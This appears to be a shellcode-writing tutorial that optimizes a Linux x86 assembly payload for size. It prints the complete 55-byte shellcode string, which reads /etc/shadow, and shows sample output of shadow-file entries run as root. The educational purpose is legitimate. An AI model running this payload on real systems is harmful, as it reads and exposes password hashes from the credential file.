Some instructions can be optimized to in an attempt to save some bytes. Although not every optimization saves a byte, still it’s sometimes interesting to see what alternative ASM instructions are available to work-around certain obstacles.
I’ve copies some code snippets from the ASM file used, in which I’ve tried to explain the optimization.
Clearing registers
While XOR’ing a register against itself gives a NULL register, it’s also possible to copy the already XOR’ed out register to another containing the same using MOV.
xor ecx, ecx ; Empty register
mov eax, ecx ; Empty register
mov edx, ecx ; Clear registry for syscall read parameter
Push string on stack and point to it
After pushing the string on the stack, some reference needs to be created to be used by any function or syscall.
Copying the reference address of the string (using the stackpointer ESP) to EBX, we temporary save the pointer as used for a File Descriptor later.
Also, using an 8-bits register AL for hex 0x5 is smaller than using an entire 32-bits register, thus saving some space.
; pop ebx ; Pathname for file to be read, popped from stack into EBX
mov ebx, esp ; Pathname for file to be read, popped from stackpointer into EBX; pointing to the string last pushed
; mov eax,0x5 ; Syscall for open
mov al, 0x5 ; Syscall for open, smaller instruction
Further clearing registers
After using some functions, registers have been clobbered. To clear them we can use some XOR, MOV or even XCHG instructions: the last one exchanges two registries which sometimes comes in handy.
For EBX the previously stored FD was saved in EBX and now exchanged for EAX. Later, EAX is exchanges for ECX which clears EAX and also copies the FD to ECX, being used for syscall “read”. Using these
XCHG operations saves a few actions of manually POP’ing, MOV’ing and XOR’ing registers each time thus saving bytes.
xchg eax, ebx ; FD Pointer result from previous syscall in EBX, for usage by read syscall
; mov ebx, eax
; xor eax, eax
xchg eax, ecx ; Clear out EAX by exchanging the already cleared out registry ECX.
Saving bytes again
Using smaller instructions and by already having copied values in designated registries by XCHG, some instructions aren’t needed anymore. Again, saving some bytes.
; sys_read
; ssize_t read(int fd, void *buf, size_t count);
; pop ecx ; Pop the value from the stack into ECX for string buffer parameter for syscall read
; mov ecx, esp ; Copy the value from stackpointer into ECX for string buffer parameter for syscall read
mov dx, 0x0fff
; push 0x3 ; Syscall for read
; pop eax ; Copy value from stack into EAX
mov al, 0x3 ; Syscall for read
int 0x80 ; Syscall
Compiling ASM
$ ../compile_asm.sh asm_linx86_readfile_sample3-opt
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
Checking for NULL’s / bad characters
$ ../check_badchars.sh asm_linx86_readfile_sample3-opt
[+] Checking ...
[+] Done!
Compiling C
Let’s check how large the shellcode would be and if it runs as a C binary
$ ../convert_bin_sc.sh asm_linx86_readfile_sample3-opt
"\x31\xc9\x89\xc8\x89\xca\x51\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3\xb0\x05\xcd\x80\x93\x91\x66\xba\xff\x0f\xb0\x03\xcd\x80\x92\x31\xc0\x6a\x01\x5b\xb0\x04\xcd\x80\x89\xd8\x89\xc3\x4b\xcd\x80"
$ cp ../sc_template_c.c asm_linx86_readfile_sample3-opt-c.c
$ vim asm_linx86_readfile_sample3-opt-c.c
$ ../compile_c.sh asm_linx86_readfile_sample3-opt-c
[+] Compiling ...
[+] Done!
$ ./asm_linx86_readfile_sample3-opt-c
Shellcode Length: 55
$ sudo ./asm_linx86_readfile_sample3-opt-c
Shellcode Length: 55
root:!:17794:0:99999:7:::
daemon:*:15630:0:99999:7:::
bin:*:15630:0:99999:7:::
sys:*:15630:0:99999:7:::
sync:*:15630:0:99999:7:::
games:*:15630:0:99999:7:::
man:*:15630:0:99999:7:::
lp:*:15630:0:99999:7:::
mail:*:15630:0:99999:7:::
...<SNIP>...
What gives? It runs and the size of the shellcode is 55 which is quite smaller than the MSF generated variant of 73 bytes.